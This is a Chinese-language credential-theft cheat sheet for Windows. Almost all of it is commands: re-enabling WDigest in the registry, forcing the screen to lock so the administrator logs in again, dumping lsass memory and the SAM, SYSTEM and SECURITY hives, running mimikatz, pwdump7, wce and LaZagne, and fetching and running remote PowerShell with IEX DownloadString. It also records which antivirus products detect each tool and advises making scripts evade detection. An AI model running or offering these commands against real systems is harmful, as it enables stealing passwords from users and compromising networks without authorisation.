跳转至

mimikatz-抓取windows明文密码

除了获取windows用户NTLM hash和用户明文密码之外,还对windows上可能存在的各种明文密码都进行收集,如:浏览器、邮箱等

解决无法获取明文密码的问题

默认情况下,Windows 10以及Windows Server 2012 R2之后的系统,默认禁用Wdigest Auth,即内存(lsass)中禁止保存明文密码,密码显示null,通过以下方法开启,但需要用户重新登录才能成功抓取

开启Wdigest Auth

  • cmd
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
  • powershell
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
  • meterpreter
reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 1

关闭Wdigest Auth

  • cmd
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
  • powershell
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0
  • meterpreter
reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 0

强制锁屏

开启Wdigest Auth后,需要管理员登录才能抓取明文密码,因此需要强制锁屏,让管理员重新登录

  • cmd
rundll32 user32.dll,LockWorkStation
  • powershell
Function Lock-WorkStation 
{
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation
powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://x.x.x.x/Lock-WorkStation.ps1');"

内存 + mimikatz

在KB2871997之前,mimikatz可以直接从内存抓取明文密码;当安装KB28711997补丁之后,系统默认禁用Wdigest Auth,内存(lsass)不再保存明文口令,因此mimikatz将无法通过内存文件lsass.exe进程直接获取明文密码。

由于存在一些系统服务需要用到Wdigest Auth,因此可以手动开启该功能,开启之后,需要用户重新登录才能生效

默认开启Wdigest Auth的系统有:

  • Windows 7
  • Windows 8
  • Windows 8.1
  • Windows Server 2008
  • Windows Server 2012
  • Windows Server 2012 R2

使用系统权限执行以下mimikatz命令:

mimikatz# privilege::debug
mimikatz# sekurlsa::logonpasswords full

一句话:

mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt

procdump + mimikatz

注意:本地复原机器须与目标机器一致,且需要在系统权限下执行(免杀效果不错)

## for 64bit
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
## for 32bit
procdump.exe -accepteula -ma lsass.exe lsass.dmp

​ 使用mimikatz

mimikatz.exe "sekurlsa::minidump lsass.dmp" exit
mimikatz.exe "sekurlsa::logonpasswords full" exit

powershell + mimikatz

powershell默认的执行策略为Restricted,可以通过Get-ExecutionPolicy查看当前的策略组;

通过Set-ExecutionPolicy remotesigned修改策略组,以执行脚本

在系统限下的cmd上执行-->本质上就是通过powershell下载并执行

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1');"Get-Process lsass | Out-Minidump"

直接从https://github.com/PowerShellMafia/PowerSploit处下载PS脚本Out-Minidump.ps1,然后执行

powershell –exec bypass –Command "& {Import-Module 'C:\Users\Public\Out-Minidump.ps1'; Get-Process lsass | Out-Minidump}"

上述连个命令会在命令执行目录下自动生成一个以dmp为后缀的文件,将该文件复制到攻击机本地,然后通过mimikatz进行还原

mimikatz.exe "sekurlsa::minidump lsass_880.dmp" exit
mimikatz.exe "sekurlsa::logonpasswords full" exit

当然PS脚本不同执行也稍有差别,另一种比较直接:

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz

或者直接上传PS脚本至目标机器,然后执行:

powershell –exec bypass –Command "& {Import-Module 'C:\Users\Public\Out-Minidump.ps1';Invoke-Mimikatz}"

写在末尾:虽然这种方式比较直接,但也存在几个问题。第一,目标系统必须支持powershell;第二:采用下载PS脚本并执行的方法,需要目标机器有访问外网的能力;第三,也是最重要的一点,需要做好PS脚本的免杀,不然会和mimikatz.exe一样,很轻易被杀毒软件查杀

sam + mimikatz

注意:本地复原机器必须与目标机器一致,且需要在系统权限下执行(免杀效果还行)

从sam中提取目标系统用户hash

reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY security.hiv

将上述三个文件复制到攻击机本地,然后使用mimikatz获取用户hash

mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv /security:security.hiv" exit

SharpDump + mimikatz(360杀毒已查杀/windows defender未查杀)

于2019-09-03,SharpDump在windows10 defender下没有查杀;360杀毒已查杀

在系统权限下,直接运行SharpDump.exe,程序会自动在C:\Windows\Temp\下生成debug*.bin文件

sharpdump.exe

将上述生成的bin文件拷贝到攻击机本地,修改其后缀为gz,然后将其解压,得到最终文件debug*,通过mimikatz读取该文件,进而获取目标机器的用户hash或明文密码

mimikatz.exe "sekurlsa::minidump debug123" "sekurlsa::logonpasswords full" "exit" 

pwdump7 + mimikatz(360杀毒未查杀/windows defender已查杀)

于2019-09-03,360杀毒最新版附加最新病毒库,并未查杀;于2019-09-03,windows10 defender已查杀

在系统权限下,执行,直接获取用户hash

pwdump7.exe

QuarkPwDump + mimikatz(360杀毒已查杀/windows defender未查杀)

于2019-09-03,360杀毒最新版已查杀;windows10 defender并未查杀(但是win10下无法获取用户hash)

在系统权限下,执行,直接获取用户hash

# 导出用户hash
QuarksPwDump.exe -dhl
QuarksPwDump.exe -dhl -o hash.txt

wce(360杀毒未查杀/windows defender已查杀)

于2019-09-03,360杀毒最新版并未查杀;windows10 defender已查杀(win10下wce无法获取用户hash)

在系统权限下,执行命令

wce.exe -l

获取明文密码(从wdigest上获取)

wce.exe -w > hash.txt

lazagne获取windows上所有明文密码(360杀毒未查杀/windows defender已查杀)

此处主要利用lazagne获取windows上所有明文密码,包括windows用户hash,浏览器密码,wifi密码,在系统权限下获取的数据更加丰富

# 获取所有数据
lazagne.exe all
# 获取所有数据,并以某种格式保存到文件(-oN保存不完整)
lazagne.exe all -oJ
# 获取所有数据,并以某种格式保存到文件,并执行文件路径
lazagne.exe all -oJ -output C:\Users\lamba\Desktop\
# 获取所有数据,并以某种格式保存到文件,并执行文件路径,并且不在终端输出
lazagne.exe all -oJ -quiet -output C:\Users\lamba\Desktop\